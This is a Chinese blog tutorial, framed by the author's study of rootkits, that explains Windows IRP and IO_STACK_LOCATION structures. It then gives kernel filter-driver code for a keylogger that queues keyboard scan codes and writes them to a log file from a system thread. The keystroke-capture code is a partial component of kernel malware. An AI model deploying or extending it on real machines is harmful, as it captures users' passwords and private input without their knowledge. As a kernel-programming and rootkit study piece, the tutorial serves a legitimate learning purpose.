最近在看rootkits相关的资料,无意间又翻到了驱动过滤类的知识。分层驱动程序不仅可以截获数据,也可以在传递数据之前对其进行修改。
学习windows下的驱动,IRP一定是重中之重,他其实就相当于windows应用层下的消息,传递着各个操作的命令。先来看看IRP的结构:
结合上面的结构图,定义如下:
typedef struct _IRP {
PMDL MdlAddress;//MDL地址,内存描述符表。用来建立一块虚拟地址空间与物理地址页面之间的映射
/*下面是一个共用体,很重要,联合的IRP,里面的SystemBuffer是指向应用层传递来的数据,采用的是DO_BUFFER_IO缓冲区拷贝的方式通信,速度慢,一般在DeviceIoControl小数据使用*/
union {
struct _IRP *MasterIrp;
LONG IrpCount;
PVOID SystemBuffer;
} AssociatedIrp;
/*里面有两个结构,一个Status是IRP完成的状态,一个是Infotmation存放数据传输的个数*/
IO_STATUS_BLOCK IoStatus;
CHAR StackCount;//栈的个数,可以由设备对象中StackSize的值决定
CHAR CurrentLocation;//当前的设备栈位置,很重要,过滤器驱动需要判断是否大于0,否则直接蓝屏处理
PKEVENT UserEvent;//构建IRP时很重要,同步事件,后面会讲到。
} Overlay;
PVOID UserBuffer;//用户缓冲区,第三种方式和应用程序共享数据。这种速度最快,但也是最不安全,内核程序直接读取用户的内存,必
须保证在相同设备上下文中访问才不会出错。
union {
struct {
struct {
union {
struct _IO_STACK_LOCATION *CurrentStackLocation;//IO设备栈指针,他是一个设备栈数组
};
};
} Overlay;
} Tail;
} IRP, *PIRP;
我们可以详细看下IO_STACK_LOCATION结构(截取一部分):
typedef struct _IO_STACK_LOCATION {
UCHAR MajorFunction;//IRP主功能码
UCHAR MinorFunction;//IRP次功能码,尤其是Pnp的IRP尤为重要
UCHAR Flags;
UCHAR Control;//DeviceControl的控制码
/*以下是一个联合体,非常重要,几乎所有的用户API的请求都在这里面体现出来,记录了所有的用户请求信息,例如读写的长度信息等。下面
只保留了几个*/
union {
struct {
ULONG Length;
ULONG POINTER_ALIGNMENT Key;
LARGE_INTEGER ByteOffset;
} Read;//NtReadFile(也即是ReadFile的实现的)
struct {
ULONG Length;
ULONG POINTER_ALIGNMENT Key;
LARGE_INTEGER ByteOffset;
} Write;//NtWriteFile
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;//NtDeviceIoControlFile
struct {
PCM_RESOURCE_LIST AllocatedResources;
PCM_RESOURCE_LIST AllocatedResourcesTranslated;
} StartDevice;//为什么保留这个,原因在于我自己是做硬件设备驱动的,而这个是启动设备的PnP能够获取到硬件的设备资源。如果
是纯内核开发不需要关心。
struct {
PVOID Argument1;
PVOID Argument2;
PVOID Argument3;
PVOID Argument4;
} Others;//这个的重要性在于,若没有列举的结构都可以用强类型转换这几个字段。很灵活
} Parameters;
PDEVICE_OBJECT DeviceObject;//指向的设备对象,很重要,从设备对象中可以获得驱动对象,然后再得到相应的分发函数
PFILE_OBJECT FileObject;//文件对象,文件系统之类的信息安全内核编程很重要。
PIO_COMPLETION_ROUTINE CompletionRoutine;
PVOID Context;
} IO_STACK_LOCATION, *PIO_STACK_LOCATION;
然后就是4中IRP的分发方式
4种IRP的完成方式:
根据上述,我们可以知道当有新的请求发出的时候,IRP被创建,在分配的IRP中为链中的每个驱动程序添加额外的空间,这个额外的空间就是上述结构中的IO_STACK_LOCATION
他在内存中的结构类似于:
IRP的头部存储着当前IO_STACK_LOCATION的索引和当前数组的指针(索引没有0号成员),这样当消息向底层驱动传递的时候通过调用IoCallDriver(实际上就是递减当前堆栈位置索引,然后与0比较,然后将栈指针移动到前一个设备栈)
类似于这个过程:
这样不仅可以将irp传递到底层驱动中去,也允许着更底层的驱动程序使用位于他之上驱动程序提供的任意参数(通过使用IoSkipCurrentIrpStackLocation()可以将指针回拨)。
之前自己写过一篇文章:
[filter]windows键盘过滤
里面只是将对应的按键消息通过dbgview显示出来,但是如果想要进一步将按键写入文件,就稍微显得麻烦些。因为IRP处理函数的IRQ级别为DISPATCH,他禁止了文件操作,所以如果想要记录下按键,则需要我们创建一个单独的线程来处理文件的写入。
[未完待续]下课要去抢饭啦
其他的大致思路和之前的文章一样,都是需要在底层键盘驱动上绑定我们自己的过滤驱动,然后设置IRP的完成回调函数,在IRP完成返回后获得键盘信息。
这个地方的过滤稍微复杂一点的就是需要讲键盘消息写入到一个文本文件而不是打印出来:
通过PsCreateSystemThread这个api来创建底层线程
NTSTATUS PsCreateSystemThread(
_Out_ PHANDLE ThreadHandle,
_In_ ULONG DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ HANDLE ProcessHandle,
_Out_opt_ PCLIENT_ID ClientId,
_In_ PKSTART_ROUTINE StartRoutine,
_In_opt_ PVOID StartContext
);
这里我们将DesiredAccess设置为ACCESS_MASK,将ObjectAttributes设置为NULL,讲processhandle设置为(HANDLE)0 (代表着driver-created thread),同理我们将ClientId也设置为NULL,将后面两个参数分别指向我们的键盘记录线程和设备扩展。
NTSTATUS status = PsCreateSystemThread(&hThread,(ACCESS_MASK)0,NULL,(HANDLE)0,NULL,ThreadKeyLogger,
pKeyboardDeviceExtension);
if(!NT_SUCCESS(status))
return status;
DbgPrint("Key logger thread created...\n");
键盘的记录线程中,因为线程运行在内核中,所以只能通过自己来对线程进行卸载,于是我们在设备扩展程序中增加一个键盘线程运行的标志位来对线程的运行状态进行标记。当驱动卸载的时候,可以通过对标志位的改变来对线程进行终止。
设备扩展:
typedef struct _DEVICE_EXTENSION
{
PDEVICE_OBJECT pKeyboardDevice; //设备栈中的键盘设备
PETHREAD pThreadObj; //键盘记录线程
bool bThreadTerminate; //线程运行状态
HANDLE hLogFile; //记录敲击键盘的文件句柄
KEY_STATE kState; //特殊按键状态
//同步和取键盘消息
KSEMAPHORE semQueue;
KSPIN_LOCK lockQueue;
LIST_ENTRY QueueListHead;
}DEVICE_EXTENSION, *PDEVICE_EXTENSION;
我们继续回到键盘线程中,
VOID ThreadKeyLogger(IN PVOID pContext)
{
PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pContext;
PDEVICE_OBJECT pKeyboardDeviceOjbect = pKeyboardDeviceExtension->pKeyboardDevice;
PLIST_ENTRY pListEntry;
KEY_DATA* kData; //custom data structure used to hold scancodes in the linked list
while(true)
{
//通过信号量来标志数据是否到达队列
KeWaitForSingleObject(&pKeyboardDeviceExtension->semQueue,Executive,KernelMode,FALSE,NULL);
pListEntry = ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
&pKeyboardDeviceExtension->lockQueue);
//线程通过对标志位判断来终止自己
if(pKeyboardDeviceExtension->bThreadTerminate == true)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
//通过CONTAINING_RECORD获得指向数据的指针
kData = CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
char keys[3] = {0};
//扫描码转换为按键码ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);
if(keys != 0)
{
//判断写入文件是否存在
if(pKeyboardDeviceExtension->hLogFile != NULL)
{
IO_STATUS_BLOCK io_status;
DbgPrint("Writing scan code to file...\n");
NTSTATUS status = ZwWriteFile(pKeyboardDeviceExtension->hLogFile,NULL,NULL,NULL,
&io_status,&keys,strlen(keys),NULL,NULL);
if(status != STATUS_SUCCESS)
DbgPrint("Writing scan code to file...\n");
else
DbgPrint("Scan code '%s' successfully written to file.\n",keys);
}
}
}
return;
}
为了保证线程的安全性,我们需要在驱动加载的时候设置一个自旋锁来保证不会出现死锁或者竞争引起的蓝屏,用信号量记录下工作队列中的项数
//Initialize the lock for the linked list queue
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
//Initialize the work queue semaphore
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue, 0 , MAXLONG);
在读例程中,我们为保证安全和通知也可以这样写:
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
//Increment the semaphore by 1 - no WaitForXXX after this call
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
主要和之前的代码稍微i不同的就是以上这些了,具体的代码参见
键盘记录驱动